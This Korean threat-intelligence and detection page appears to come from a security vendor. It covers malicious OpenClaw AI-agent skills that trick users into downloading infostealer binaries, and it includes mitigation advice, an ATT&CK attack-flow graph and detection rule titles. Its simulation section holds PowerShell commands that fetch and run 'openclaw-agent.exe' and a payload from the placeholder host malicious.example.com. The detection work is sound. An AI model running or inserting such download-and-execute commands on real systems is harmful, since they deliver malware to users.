자동화에서 감염까지: 오픈클로 AI 에이전트 기술의 무기화 사례
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 기사는 악성 OpenClaw 스킬이 셀프 호스팅 AI 에이전트 플랫폼 사용자들을 위한 악성코드 전달 메커니즘으로 사용되고 있는 방법을 설명합니다. 위협 행위자는 무해해 보이는 스킬을 게시하지만, 결국 피해자를 외부 소스에서 공격자가 제어하는 바이너리를 다운로드하고 실행하도록 유도합니다. 관찰된 페이로드에는 Windows 실행 파일과 macOS Mach-O 파일이 있으며, 이는 Atomic Stealer 정보 탈취기 계열의 변종으로 식별되었습니다. 이 활동은 커뮤니티 제공 스킬에 의존하는 개인 및 개발자 워크스테이션에 대한 실질적인 공급망 위험을 초래합니다.
조사
VirusTotal Code Insight는 3천 개 이상의 OpenClaw 스킬을 검토하여 악성 또는 고위험 동작을 보이는 수백 가지를 발견했습니다. 한 예로, hightower6eu가 업로드한 스킬은 GitHub에서 비밀번호로 보호된 ZIP 아카이브(비밀번호: openclaw)를 다운로드하여 Windows에서 openclaw-agent.exe를 실행하는 단계별 지침을 제공했습니다. macOS에서는 같은 스킬이 사용자에게 glot.io에서 Base64로 인코딩된 스크립트를 가져와 실행하기 위한 Mach-O 실행 파일을 다운로드하도록 지시했습니다. 결과 바이너리는 다수의 보안 엔진에 의해 트로이화된 정보 탈취기로 탐지되었습니다.
완화
스킬 리포지토리를 신뢰할 수 없는 코드로 취급하고 OpenClaw를 샌드박스나 엄격하게 제한된 환경에서 실행하십시오. 스킬 설명에서 명령어를 복사하여 붙여놓거나 검증되지 않은 외부 링크에서 바이너리를 실행하지 마십시오. 마켓플레이스 및 커뮤니티 운영자는 원격 다운로드 동작, 난독화된 스크립트 로직 및 자격 증명 도용 또는 데이터 유출 지표에 중점을 둔 게시 시 스캐닝을 구현하십시오. 기업 환경에서는 사용자에게 커뮤니티에서 제작한 스킬 설치의 위험성을 교육하고 사용 전 검토를 요구하십시오.
대응
외부 다운로드 URL, 비밀번호로 보호된 아카이브 또는 인코딩된 명령 스테이저를 참조하는 OpenClaw 스킬 패키지를 사냥하십시오. 알 수 없는 바이너리 openclaw-agent.exe의 실행과 스크립트화된 다운로드 활동 이후의 의심스러운 Mach-O 실행에 대해 경고를 발령하십시오. 알려진 악성 도메인에 대한 연결을 차단하고, 정보 탈취기 실행과 자격 증명 노출이 발생했는지 확인하기 위해 영향을 받은 시스템을 격리하여 포렌식 조사를 수행하십시오.
“그래프 TB %% 클래스 정의 섹션 classDef 기술 fill:#99ccff classDef 맬웨어 fill:#ff9999 classDef 프로세스 fill:#ffcc99 %% 기술 노드 tech_software_extensions[“<b>기술</b> – T1176 소프트웨어 확장<br/><b>설명</b>: 적대자가 악성 확장이나 패키지를 마켓플레이스에 게시하여 악성코드를 정당한 기능으로 위장합니다.”] class tech_software_extensions 기술 tech_user_execution[“<b>기술</b> – T1204.002 사용자 실행: 악성 파일<br/><b>설명</b>: 피해자를 속여 추가 페이로드를 다운로드하고 실행하는 악성 파일을 실행하게 만듭니다.”] class tech_user_execution 기술 tech_embedded_payloads[“<b>기술</b> – T1027.009 내장 페이로드<br/><b>설명</b>: 악성 코드가 다른 파일이나 스크립트 내에 숨겨져 탐지를 피합니다.”] class tech_embedded_payloads 기술 tech_polymorphic_code[“<b>기술</b> – T1027.014 다형성 코드<br/><b>설명</b>: 기능을 유지하면서 외양을 바꿔 방어를 회피합니다.”] class tech_polymorphic_code 기술 tech_decode[“<b>기술</b> – T1140 복호화/디코드 파일 또는 정보<br/><b>설명</b>: 피해자가 실행 전에 난독화된 페이로드를 디코드하거나 복호화합니다.”] class tech_decode 기술 tech_content_injection[“<b>기술</b> – T1659 콘텐츠 인젝션<br/><b>설명</b>: 적대자가 다운로드 링크나 스크립트와 같은 악성 콘텐츠를 정당한 워크플로우에 주입합니다.”] class tech_content_injection 기술 %% 맬웨어 / 페이로드 노드 malware_infostealer[“<b>맬웨어</b> – 정보 탈취기 트로이 목마<br/><b>설명</b>: 피해 시스템에서 자격 증명, 브라우징 기록 및 기타 민감한 데이터를 수집합니다.”] class malware_infostealer 맬웨어 %% 프로세스 노드 proc_download_execute[“<b>프로세스</b> – 외부 바이너리 다운로드 및 실행<br/><b>설명</b>: 스킬에서 가져온 명령이 추가 바이너리를 다운로드하고 실행합니다.”] class proc_download_execute 프로세스 proc_decode_execute[“<b>프로세스</b> – 페이로드 디코드 및 실행<br/><b>설명</b>: Base64로 인코딩된 스크립트를 디코드하여 그 결과로 얻어진 트로이 목마를 실행합니다.”] class proc_decode_execute 프로세스 %% 공격 흐름을 보여주는 연결 tech_software_extensions u002du002d>|leads_to| tech_user_execution tech_user_execution u002du002d>|triggers| proc_download_execute proc_download_execute u002du002d>|contains| tech_embedded_payloads proc_download_execute u002du002d>|contains| tech_polymorphic_code proc_download_execute u002du002d>|enables| tech_decode tech_decode u002du002d>|facilitates| proc_decode_execute proc_decode_execute u002du002d>|executes| malware_infostealer malware_infostealer u002du002d>|enables| tech_content_injection “
공격 흐름
탐지
가능한 Base64 인코딩 문자열 조작 [MacOS] (cmdline 통해)
보기
의심스러운 Curl 실행 시도 [MacOS] (cmdline 통해)
보기
MacOS Xattr 임시 폴더 속성이 지워졌습니다 (프로세스 생성 통해)
보기
제3자 서비스/도구를 통한 가능한 데이터 침투/유출/C2 (프록시 통해)
보기
제3자 서비스/도구를 통한 가능한 데이터 침투/유출/C2 (dns 통해)
보기
탐지할 IOC (HashSha256): 자동화에서 감염까지: OpenClaw AI 에이전트 스킬이 무기화되는 방법
보기
OpenClaw 스킬을 통한 악성 페이로드 실행 [리눅스 프로세스 생성]
보기
악성 OpenClaw 에이전트 실행 감지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: 원격 측정 및 기준 기준 사전 검사 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적수 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 내러티브는 반드시 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다.
-
공격 내러티브 및 명령어:
공격자가 피해자 워크스테이션에 초기 접근을 획득하고 악성 바이너리를 드롭했습니다openclaw-agent.exe사용자의 임시 디렉토리에. 이 바이너리는 명령줄과 함께 실행됩니다, 명령줄에는 명확히 다음의 키워드가 포함되어 있습니다다운로드and실행신뢰할 수 없는 C2 서버에서 추가 페이로드를 가져와 메모리에서 실행하도록. 공격자는 PowerShell 전용 탐지를 피하기 위해 표준 Windows 명령 프롬프트를 사용하여 Sigma 규칙의 기대치와 일치시킵니다.- 페이로드 드롭:
$malPath = "$env:TEMPopenclaw-agent.exe" Invoke-WebRequest -Uri "http://malicious.example.com/openclaw-agent.exe" -OutFile $malPath - 의심스러운 인수로 실행:
"%TEMP%openclaw-agent.exe" download http://malicious.example.com/payload.bin execute - 에이전트는 C2 서버에 연락하여
payload.bin을 다운로드하고, 디스크에 기록하고, 실행하여, 원본 프로세스 명령줄이 여전히 트리거 단어를 포함하고 있습니다.
- 페이로드 드롭:
-
회귀 테스트 스크립트:
# ----------------------------------------------------------------------- # OpenClaw 에이전트 실행 시뮬레이션 – Sigma 탐지 유발 # ----------------------------------------------------------------------- # 1. 악성 에이전트 다운로드 (무해한 파일로 시뮬레이션) $agentUrl = "https://github.com/microsoft/PowerShell/releases/download/v7.4.0/powershell-7.4.0-win-x64.msi" # placeholder benign file $agentPath = "$env:TEMPopenclaw-agent.exe" Invoke-WebRequest -Uri $agentUrl -OutFile $agentPath # 2. 예상되는 명령줄 키워드와 함께 에이전트 실행 $cmd = "`"$agentPath`" download http://malicious.example.com/payload.bin execute" Write-Host "Executing: $cmd" Start-Process -FilePath $agentPath -ArgumentList "download http://malicious.example.com/payload.bin execute" -NoNewWindow -Wait # 3. 선택사항: 페이로드 다운로드 시뮬레이션 (무해한 스텁) $payloadUrl = "https://raw.githubusercontent.com/EbookFoundation/free-programming-books/master/books/free-programming-books.md" $payloadPath = "$env:TEMPpayload.bin" Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadPath Write-Host "Simulation complete. Check SIEM for detection." -
정리 명령어:
# 시뮬레이션 중에 생성된 모든 아티팩트 제거 $paths = @( "$env:TEMPopenclaw-agent.exe", "$env:TEMPpayload.bin" ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item -Path $p -Force Write-Host "Deleted $p" } }